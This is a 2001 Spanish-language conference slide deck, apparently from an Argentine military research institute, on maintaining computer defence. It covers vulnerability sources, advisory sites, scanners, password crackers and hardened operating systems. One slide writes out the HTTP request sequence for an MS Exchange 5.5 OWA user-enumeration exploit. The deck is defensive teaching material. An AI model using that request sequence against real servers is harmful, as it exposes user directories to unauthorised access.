Instituto de Investigaciones Científicas y Técnicas de las FF AA

1. Instituto de Investigaciones Científicas y Técnicas de las FF AA Gerencia de Tecnología e Innovación Departamento de Informática

2. ¿Cómo mantener una defensa informática eficaz? Ing. Carlos E. Benitezcbenitez@citefa.gov.ar 27 de Setiembre de 2001CONSECRI - Buenos Aires - Argentina

3. Contenido • Vulnerabilidades en los Sistemas Informáticos. • Descubrimiento de vulnerabilidades. • Sitios donde encontrar información. • ¿Cómo verificar la Seguridad de un Sistema? • Pruebas automáticas. • Pruebas manuales. • Instalación de Sistemas Operativos Confiables. • Conclusiones.

4. Vulnerabilidades en los Sistemas Informáticos • Clasificación: • Física • Área de Servidores, Control de Acceso. • Teclados, disqueteras, CD-ROM. • Redes • Segmentación. • Firewalls. • DMZ. • Software • Sistemas Operativos. • Servicios. • Aplicaciones. • Ser Humano • Utilización: • Port scanning. • Sniffing. • IP spoofing. • Cracking de contraseñas. • Webjacking. • Código malicioso (ActiveX, Java). • Denegación de servicios (DOS). • Buffer overflow. • Ataque a DNS. • Ataque a routers. • ¿Qué son los Exploits? • ¿Qué son las Vulnerabilidades? Procedimientos o programas que se utilizan para explotar una vulnerabilidad con el objeto de acceder en forma no autorizada o atacar un sistema informático. Puntos débiles dentro de un sistema informático cuya existencia se debe a errores en la programación o en la instalación.

5. Descubrimiento de Vulnerabilidades • Evolución en el tiempo Fuente: http://www.securityfocus.com (1-Set-2001) Vulnerabilidades descubiertas entre el 20 al 30 de Agosto de 2001 • ¿Quiénes las descubren, analizan y publican? • Hackers. • Grupos Independientes. • Organizaciones de Seguridad. • Empresas productoras de Software. • Grupos de apoyo a Sistemas Abiertos. 2001-08-24: Starfish TrueSync Desktop Password Disclosure Vulnerability 2001-08-24: Starfish TrueSync Desktop Failure to Protect Data Vulnerability 2001-08-24: Java Plug-In 1.4/JRE 1.3 Expired Certificate Vulnerability 2001-08-23: BSCW Symbolic Link File Disclosure Vulnerability 2001-08-23: Respondus for WebCT Weak Password Encryption Vulnerability 2001-08-23: FreeBSD tcp_wrappers PARANOID Checking Bypass Vulnerability 2001-08-23: CuteFTP Weak Password Encoding Vulnerability 2001-08-23: UltraEdit FTP Client Weak Password Encryption Vulnerability 2001-08-23: Cisco CBOS Multiple TCP Connection Denial of Service Vulnerability 2001-08-22: A-V Tronics InetServ Webmail Authentication Buffer Overflow Vulnerability 2001-08-22: WinWrapper Admin Server Arbitrary File Reading Vulnerability 2001-08-22: Trend Micro OfficeScan Arbitrary File Disclosure Vulnerability 2001-08-22: BadBlue Source Code Disclosure Vulnerability 2001-08-22: Microsoft Outlook Web Access Denial of Service Vulnerability 2001-08-22: Adobe AcroRead Insecure Default Font List Permissions Vulnerability 2001-08-22: ICQ Forced User Addition Vulnerability 2001-08-22: AOLServer Long Authentication String Denial of Service Vulnerability 2001-08-21: Microsoft Windows 2000 IrDA Buffer Overflow Denial of Service Vulnerability 2001-08-21: FreeBSD linprocfs Privileged Process Memory Disclosure Vulnerability 2001-08-21: BSDI Possible Local Kernel Denial of Service Vulnerability 2001-08-21: Sage Software MAS 200 Denial of Service Vulnerability 2001-08-20: RSA Keon Certificate Authority LDAP Denial of Service Vulnerability 2001-08-20: Intego FileGuard Weak Password Encryption Vulnerability 2001-08-20: TD Forum Cross-Site Scripting Vulnerability 2001-08-20: 4D WebServer v6.5.7 Directory Traversal Vulnerability 2001-08-20: Lotus Domino Mail Loop Denial of Service Vulnerability 2001-08-20: Surf-Net ASP Forum Predictable Cookie ID Vulnerability 2001-08-30: Cyrus IMAP Server Potential Denial of Service Vulnerability 2001-08-30: Gnut Gnutella Client Arbitrary Script Code Execution Vulnerability 2001-08-29: Bugzilla describecomponents.cgi Arbitrary Bug Viewing Vulnerability 2001-08-29: HP Process Resource Manager Environment Variable Privilege Elevation Vulnerability 2001-08-29: HP CIFS 9000 Arbitrary Password Changing Vulnerability 2001-08-29: Apache mod_auth_pgsql Remote SQL Query Manipulation Vulnerability 2001-08-29: Multiple BSD Vendor lpd Buffer Overflow Vulnerability 2001-08-29: Apache mod_auth_pgsql_sys Remote SQL Query Manipulation Vulnerability 2001-08-29: Apache mod_auth_oracle Remote SQL Query Manipulation Vulnerability 2001-08-29: Apache AuthPG Remote SQL Query Manipulation Vulnerability 2001-08-29: Apache mod_auth_mysql Remote SQL Query Manipulation Vulnerability 2001-08-29: Multiple Xinetd Vulnerabilities 2001-08-29: BugZilla Process_Bug.CGI Restricted Bug Comments Revealing Vulnerability 2001-08-29: BugZilla Show_Activity.CGI Restricted Bug Comments Revealing Vulnerability 2001-08-29: Bugzilla showattachment.cgi Arbitrary Bug Viewing Vulnerability 2001-08-29: PHPMyExplorer Arbitrary File Disclosure Vulnerability 2001-08-29: BugZilla ShowVotes.CGI Restricted Bug Comments Revealing Vulnerability 2001-08-29: BugZilla ShowDependencyTree.CGI Restricted Bug Comments Revealing Vulnerability 2001-08-29: BugZilla ShowDependencyGraph.CGI Restricted Bug Comments Revealing Vulnerability 2001-08-28: Caldera Open Unix LPSystem Buffer Overflow Vulnerability 2001-08-27: HP-UX Line Printer Daemon Buffer Overflow Vulnerability 2001-08-27: Lpd Remote Command Execution via DVI Printfilter Configuration Error 2001-08-27: Netscape 6 Temp File Symbolic Link Vulnerability 2001-08-27: Caldera Open Unix UIDAdmin Scheme Option Buffer Overflow Vulnerability 2001-08-26: PHPProjekt Arbitrary User Modification Vulnerability 2001-08-25: Red Hat PAM qpopper User Enumeration Vulnerability Fuente: http://www.securityfocus.com (1-Set-2001)

6. Sitios donde encontrar Información • Organizaciones o Grupos dedicados a la Seguridad Informática: • CERT www.cert.org • SecurityFocus www.securityfocus.com • Securityportal www.securityportal.com • SecurityTeam www.securityteam.com • packet storm packetstorm.securify.com • ATTRITION www.attrition.org • KRIPTÓPOLIS www.kriptopolis.com • Hispasec www.hispasec.com

7. Sitios donde encontrar Información • Carnegie Mellon University. • Principal Referencia. • Reporte de Incidentes. • Listas de Correo. • Recomendaciones. • Prácticas de Seguridad. • Información sobre: • Sistemas Operativos. • Detectores de Intrusiones. • Recuperación de daños. • Educación. www.cert.org CERT, Computer Emergency Response Team

8. Sitios donde encontrar Información • Base de datos de Vulnerabilidades. • Publicación Inmediata. www.securityfocus.com SecurityFocus.com • Búsqueda por: • Empresa • Nombre del producto • Palabra Clave • Código • Información: • Información • Discusión • Exploit • Solución • Créditos

9. Sitios donde encontrar Información • Base de Datos de Herramientas de Seguridad. packetstorm.securify.com packet storm • Vulnerabilidades y Exploits: • Por Fecha • Por Sistema Operativo • Herramientas de Defensa: • Por Sistema Operativo • Por Tipo de Ataque.

10. Sitios donde encontrar Información • Listado de Webjacking. www.attrition.org/mirrors/attrition/ • Listados por: • Fecha • Sistema Operativo • País • Intruso ATTRITION.org • Estadísticas por: • Fecha • Sistema Operativo • País • Intruso Reemplazado por: www.alldas.de

11. Sitios donde encontrar Información • Seguridad Informática. www.kriptopolis.com • Noticias. • Downloads. • Documentación. • Legislación. • Cyberderechos. • Equipos de Investigación. • Descubrimiento de Vulnerabilidades. KRIPTÓPOLIS

12. Sitios donde encontrar Información • Organizaciones o Empresas responsables de los productos: • Microsoft www.microsoft.com • Sun www.sun.com • Redhat www.redhat.com • Debian www.debian.org • Cisco www.cisco.com

13. Sitios donde encontrar Información • Technet. • Bug Track. • Avisos de Seguridad. www.microsoft.com/technet/security Microsoft • Patches en conjunto: • Service Packs • Security Rollof Package • Herramientas para verificar Vulnerabilidades. • Búsqueda de Vulnerabilidades • Resumen. • Datos técnicos. • Versiones Afectadas. • Patches Individuales.

14. Sitios donde encontrar Información • Patches. • Documentación. • Información de Seguridad. sunsolve.sun.com Sun microsystems • Boletines de Seguridad. • Descripción. • Sistemas Vulnerables. • Patches.

15. Sitios donde encontrar Información • RedHat Errata: • Avisos de Seguridad. • Reparación de Bugs. • Mejoras desde el último Release. www.redhat.com/support/errata redhat • Avisos de Seguridad: • Listado de Vulnerabilidades • Patches individuales.

16. Sitios donde encontrar Información • Soporte Debian: • Documentación. • Información de Seguridad. • Bug Track. • Listas de correo. www.debian.org/security debian • Avisos de Seguridad: • Alertas. • Fecha. • Autor. • Tema. • Vulnerabilidades: • Descripción. • Paquetes Afectados. • Patches (48 horas).

17. Sitios donde encontrar Información • TAC (Technical Assistance Center). www.cisco.com/public/support/tac/ • PSIRT (Product Security Incident Response Team). Cisco • Avisos de Seguridad. • Vulnerabilidades: • Descripción. • Productos Afectados. • Impacto. • Versiones de Software y Fixes. • Exploits.

18. ¿ Cómo verificar la Seguridad de un Sistema? • Pruebas automáticas: • Scanners de Puertos: • Nmap • Superscan • Password Crackers • L0phtcrack • John The Ripper • Webcrack • Scanners de Vulnerabilidades: • Retina • Nessus • Satan • Saint • Pruebas manuales

19. ¿ Cómo verificar la Seguridad de un Sistema? • Port scanner. • Gratis y Abierto. • Se ejecuta bajo Linux. • Scanning altamente configurable. • Identificación de Sistemas Operativos mediante Fingerprints. www.insecure.org/nmap Nmap

20. ¿ Cómo verificar la Seguridad de un Sistema? • Password Crack para Windows NT/2000. • Comercial. • Alta velocidad. • Extrae contraseñas desde: • Base de datos de contraseñas (SAM). • Archivos de texto. • Desde la red (por sniffing). www.l0pht.com/l0phtcrack L0phtcrack

21. ¿ Cómo verificar la Seguridad de un Sistema? • Scanner de Vulnerabilidades. • Producto comercial. • Actualizable. • Se ejecuta bajo Windows NT/2000. • Busca por Host o por Rango de IP’s. • Generador de Reportes. www.eeye.com Retina

22. ¿ Cómo verificar la Seguridad de un Sistema? • Scanner de Vulnerabilidades. • Gratis. • Servidor bajo Linux. • Clientes para Linux o Win32. • Independencia de los puertos/servicios. • Estructura modular. • Actualizable fácilmente vía scripts. • Seguridad por clave pública/privada. www.nessus.org Nessus

23. ¿ Cómo verificar la Seguridad de un Sistema? • Scanner de Vulnerabilidades. • Security Administrator's Integrated Network Tool. • Versión mejorada y actualizada de SATAN (Security Administrator Tool for Analyzing Networks). • Gratis. • Actualizable. • Se ejecuta bajo Linux. • Generador de Reportes comercial. www.wwdsi.com/saint Saint

24. ¿ Cómo verificar la Seguridad de un Sistema? • 1) Send the following request: • GET /exchange/root.asp?acs=anon HTTP/1.1 • Host: hostname • 2) Use the provided cookie to generate the following request (and those that follow): • GET /exchange/logonfrm.asp HTTP/1.1 • Host: hostname • Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN • 3) Access the redirected page, and resend the issued cookie: • GET /exchange/root.asp?acs=anon HTTP/1.1 • Host: hostname • Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN • 4) Issue this request to obtain a list of users with the letter 'a' in their name (e.g. Administrator) • POST /exchange/finduser/fumsg.asp HTTP/1.1 • Host: hostname • Accept: */* • Content-Type: application/x-www-form-urlencoded • Content-Length: 44 • Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN • DN=a&FN=&LN=&TL=&AN=&CP=&DP=&OF=&CY=&ST=&CO= • Exploits destinados a verificar una vulnerabilidad en particular • Scripts. • Ejecutables. • Procedimientos. • Ejemplo: Vulnerabilidad de Listado de Direcciones de MS Exchange 5.5 mediante OWA. • Pruebas Manuales

25. Instalación de Sistemas Operativos Confiables Windows NT (TCSEC: C2) /2000 (CC: EAL4 = B1+?) • Control de Acceso Discrecional • Reutilización de Objetos. • Identificación y Autenticación • Auditoría. • Seguridad Operacional • Seguridad física. Guías para Asegurar Windows NT/2000 www.microsoft.com/technet/itsolutions/security/tools/c2config.asp www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html#HDR2.1.1 www.p-and-e.com/Documents/DITSCAP.pdf • Trusted Solaris (CC: EAL4 = B1+) • MAC (Mandatory Access Control = Control de Acceso Obligatorio) • Etiquetado de los objetos del sistema. • Control de Acceso Discrecional. • Privilegios. • RBAC (Role-Based Access Control = Control de Acceso Basado en Roles) • Autorizaciones. www.sun.com/software/solaris/trustedsolaris • Linux • Bastille • Conjunto de Scripts para asegurar (harden) una instalación. • Para redhat y mandrake. • bastille-linux.sourceforge.net • selinux (Security Enhanced Linux) • Proyecto de la NSA. • Patch del kernel de Linux. • Utilitarios. • Para redhat. • www.nsa.gov/selinux • HP-LX (Hewlett-Packard Security Systems) • Compartimentalización, Integridad, Hardening, Auditoría. • Basado en redhat 7.1. • www.hp.com/security/products/linux Clasificaciones de Seguridad (NCSC - Orange Book) • D (Protección mínima) • C (Protección Discrecional) • C1 (Protección de Seguridad Discrecional) • C2 (Protección de Acceso Controlado) • B (Protección Obligatoria) • B1 (Protección de Seguridad Etiquetada) • B2 (Protección Estructurada) • B3 (Dominios de Seguridad) • A (Protección Verificada) • A1 (Diseño Verificado) www.radium.ncsc.mil/tpep/index.html

26. Conclusiones • Instalación de Sistemas Operativos Confiables. • Consulta Continua de Avisos de Seguridad. • Pruebas de Seguridad Constantes. • Aplicación Inmediata de Patches. • Medidas Complementarias • Utilización de Sistemas de Detección de Intrusiones (IDS). • Utilización de Herramientas de Verificación de Integridad (Tripwire). • Registro Actualizdo de Servicios y Aplicaciones. • Configuración correcta y revisión de Información de Auditoría (logs). • Capacitación. • Personal de Sistemas. • Usuarios.

27. Instituto de Investigaciones Científicas y Técnicas de las FF AA Muchas gracias por participar...cbenitez@citefa.gov.ar